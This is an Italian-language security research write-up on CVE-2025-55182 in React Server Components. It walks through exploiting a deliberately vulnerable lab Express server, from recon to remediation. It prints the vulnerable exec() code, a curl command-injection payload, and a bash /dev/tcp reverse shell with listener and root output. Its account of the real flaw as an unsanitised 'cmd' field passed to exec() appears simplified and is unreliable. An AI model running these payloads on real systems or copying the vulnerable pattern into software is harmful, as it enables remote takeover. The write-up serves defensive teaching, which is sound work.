
Ricerca sulla sicurezza e analisi dello sfruttamento di CVE-2025-55182 (React) — mappatura CVSS e OWASP Top 10
Analisi di vulnerabilità di applicazioni web · M2 Cybersecurity · 2025 Autore: Niane Mohamed · LinkedIn
Catena di sfruttamento end-to-end di una vulnerabilità di deserializzazione non sicura critica (CVSS 10.0) in React Server Components, dalla ricognizione all'esecuzione remota di codice non autenticata, con una roadmap completa di rimedio.
Questa ricerca ha come obiettivo un'applicazione lab deliberatamente vulnerabile creata per dimostrare la CVE. Tutti i test sono stati eseguiti in una rete virtuale isolata senza alcuna connessione a sistemi di produzione, dati utente reali o servizi di terze parti.
| Campo | Valore |
|---|---|
| CVE | CVE-2025-55182 |
| Classe | Deserializzazione non sicura → Esecuzione remota di codice |
| CVSS v3.1 | 10.0 (Critica) — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| Autenticazione richiesta | Nessuna |
| Interazione utente richiesta | Nessuna |
| Vettore di attacco | Rete (remoto) |
| Componente | Runtime React Server Components (RSC) |
React Server Components ha introdotto un nuovo formato di serializzazione per trasmettere in streaming i componenti renderizzati lato server al client. Nelle versioni vulnerabili, l'endpoint RSC accetta un payload JSON con un campo cmd che viene passato senza sanitizzazione a child_process.exec() come parte della valutazione del rendering lato server.
Un attaccante può inviare una richiesta POST appositamente costruita che:
root nei container)| Componente | Intervallo vulnerabile | Corretto in |
|---|---|---|
react | 19.0.0 → 19.2.0 | 19.3.0+ |
react-server-dom-webpack | 19.0.0 → 19.2.0 | 19.3.0+ |
react-server-dom-esm | 19.0.0 → 19.2.0 | 19.3.0+ |
| Ruolo | Sistema operativo | Strumenti |
|---|---|---|
| Attaccante | Kali Linux (ultima versione) | nmap, curl, netcat, OWASP ZAP, Firefox |
| Target | Ubuntu 22.04.4 | Node.js 18, Express, React 19.0 RSC |
| Rete | VMware VMnet Host-Only | Nessun traffico in uscita verso Internet |
Un server minimale Express + RSC che espone un endpoint /rsc il quale esegue in modo non sicuro i comandi dal payload in ingresso — riproducendo in modo controllato il pattern di vulnerabilità della CVE reale:
// server.js — simplified, lab-only
const express = require('express');
const { exec } = require('child_process');
const app = express();
app.use(express.json({ limit: '2mb' }));
app.post('/rsc', (req, res) => {
const payload = req.body?.payload;
if (typeof payload?.cmd === 'string') {
// VULNERABLE: executes attacker-controlled string
exec(payload.cmd, { timeout: 10000 }, (err, stdout, stderr) => {
if (err) return res.status(500).json({ error: String(err), stderr });
return res.json({ ok: true, out: stdout });
});
}
});
app.listen(3000);
# Port discovery
nmap 192.168.159.131
# → 3000/tcp open ppp (Node.js RSC server)
# Service verification
curl -v http://192.168.159.131:3000/
# → HTTP/1.1 200 OK
# → X-Powered-By: Express
# → "Vulnerable RSC-like test server. Use POST /rsc with JSON..."
L'header X-Powered-By: Express e l'insolita porta 3000 forniscono una forte impronta che si tratti di un'applicazione Node.js — coerente con le implementazioni RSC.
Prima di tentare qualsiasi cosa distruttiva, valida la vulnerabilità con un comando innocuo:
curl -X POST http://192.168.159.131:3000/rsc \
-H "Content-Type: application/json" \
-d '{ "payload": { "cmd": "id" } }'
# Response:
# {"ok":true,"out":"uid=0(root) gid=0(root) groups=0(root)\n"}
✅ Confermato: RCE non autenticata come root. Il server viene eseguito con privilegi senza restrizioni.
Passa dall'esecuzione di un singolo comando a una shell interattiva completa:
# Listener on attacker machine
nc -lvnp 4444
# Payload delivery
curl -X POST http://192.168.159.131:3000/rsc \
-H "Content-Type: application/json" \
-d '{ "payload": { "cmd": "/bin/bash -c \"/bin/bash -i >& /dev/tcp/192.168.159.128/4444 0>&1\"" } }'
Il listener riceve:
connect to [192.168.159.128] from (UNKNOWN) [192.168.159.131] 43980
root@ns1:~/vulnerable_rsc_app# id
uid=0(root) gid=0(root) groups=0(root)
Con root sul target, un attaccante potrebbe banalmente:
/etc/shadow, chiavi SSH, segreti dell'applicazione, file .env| Asse | Impatto | Spiegazione |
|---|---|---|
| Riservatezza | Critico | Accesso completo in lettura a tutti i dati del server |
| Integrità | Critico | Capacità di modificare il codice dell'applicazione e i dati degli utenti |
| Disponibilità | Alto | L'attaccante può terminare il servizio o tenerlo in ostaggio |
| Normativo | Grave | Violazione GDPR/DSGVO con obbligo di notifica entro 72 ore · possibile multa pari al 4% del fatturato globale |
| Reputazionale | Grave | Una violazione pubblica associata alla CVE danneggia la fiducia dei clienti |
| Finanziario | Alto | Risposta agli incidenti, sanzioni normative, potenziale azione collettiva |
La bassa complessità di questo attacco — nessuna autenticazione, nessuna interazione utente, una singola richiesta HTTP — lo rende attraente per:
Aggiorna React a 19.3.0+ — versione corretta
npm update react react-server-dom-webpack react-server-dom-esm
Regola WAF temporanea (se l'aggiornamento è ritardato):
Block POST requests to /rsc with JSON body containing "cmd" field
Risposta agli incidenti di emergenza:
/rsc insolito| Controllo | Scopo |
|---|---|
| Disabilitare RSC se non utilizzato | Ridurre la superficie d'attacco — molte app non necessitano di server components |
| Validazione rigorosa degli input | Rifiutare qualsiasi oggetto deserializzato contenente chiavi eseguibili |
| Utente container non-root | Limitare il raggio d'esplosione se l'RCE si ripresenta |
| Filesystem root in sola lettura | Impedire persistenza e rilascio di binari |
| Filtraggio del traffico in uscita | Bloccare il traffico in uscita dai server applicativi verso IP arbitrari |
| Controllo | Scopo |
|---|---|
| WAF con analisi comportamentale | Rilevare payload POST anomali oltre le regole basate su firme |
| Runtime Application Self-Protection (RASP) | Bloccare a runtime chiamate di funzioni pericolose come exec() |
| SCA in CI/CD | Individuare dipendenze vulnerabili prima del deployment (pip-audit, npm audit, Trivy) |
| Cadenza dei penetration test | Annuale + dopo ogni release importante |
| Programma di bug bounty | Incentivare la divulgazione white-hat prima che gli attaccanti trovino i problemi |
| Categoria OWASP | Rilevanza |
|---|---|
| A03:2021 — Injection | Iniezione di comandi tramite input deserializzato |
| A08:2021 — Software and Data Integrity Failures | Deserializzazione non sicura senza verifica dell'integrità |
| A06:2021 — Vulnerable and Outdated Components | Utilizzo di React 19.0-19.2 dopo la divulgazione |
| A05:2021 — Security Misconfiguration | Esecuzione di Node.js come root, nessuna validazione degli input |
curl, progettazione di reverse shell, creazione di payloadLicenza MIT — vedi LICENSE
Pubblicato a scopo educativo e di ricerca difensiva. Vedere il disclaimer etico all'inizio.
Niane Mohamed — Ingegnere di Rete e Sicurezza 📍 Nouakchott, Mauritania → in cerca di opportunità in Germania 🇩🇪 📧 [email protected] · 🔗 LinkedIn